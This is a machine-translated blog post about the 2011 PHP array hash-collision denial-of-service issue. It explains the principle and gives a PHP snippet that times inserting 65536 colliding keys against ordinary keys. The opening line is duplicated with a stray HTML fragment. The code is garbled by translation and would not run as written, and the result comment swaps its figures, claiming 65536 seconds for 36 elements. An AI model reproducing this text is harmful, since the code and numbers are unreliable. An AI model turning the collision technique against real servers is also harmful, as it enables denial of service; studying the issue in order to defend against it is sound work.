Recently (looks like the 28th) from abroad (address: http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html) broke out a new PHP conflict on the Array, you can call the hash table conflict to launch a denial of service attack on the server. Principle: at present... "> <LINKhref =" ht
Recently (looks like the 28th) from abroad (address: http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html) broke out a new PHP conflict on the Array, you can call the hash table conflict to launch a denial of service attack on the server.
Principle: hash is used in many languages to store key-value data, including frequently used POST data from users. attackers can construct request headers, with a large number of special "key" values in POST (customized based on the Hash algorithm of each language), the Hash table storing POST data at the underlying layer of the language is "conflicted" (collision) it degrades to a linked list.
In this way, if the data size is large enough, the language can be used for computing, searching, and inserting, resulting in a large amount of CPU usage, thus implementing DoS attacks.
$ Size = pow (2, 16 );
$ StartTime = microtime (true );
$ Array = array ();
For ($ key = 0, $ maxKey = ($ size-1) * $ size; $ key <= $ maxKey; $ key + = $ size ){
$ Array [$ key] = 0;
}
$ EndTime = microtime (true );
Echo 'insert'. $ size. 'malicious elements require'. $ endTime-$ startTime. 'second'. "\ n ";
$ StartTime = microtime (true );
$ Array = array ();
For ($ key = 0, $ maxKey = $ size-1; $ key <= $ maxKey; ++ $ key ){
$ Array [$ key] = 0;
}
$ EndTime = microtime (true );
Echo 'insert'. $ size. 'common elements require'. $ endTime-$ startTime. 'second'. "\ n ";
/**
* Result
*
* It takes 65536 seconds to insert 36.357950925827 malicious elements.
* It takes 65536 seconds to insert 0.029613018035889 common elements.
*/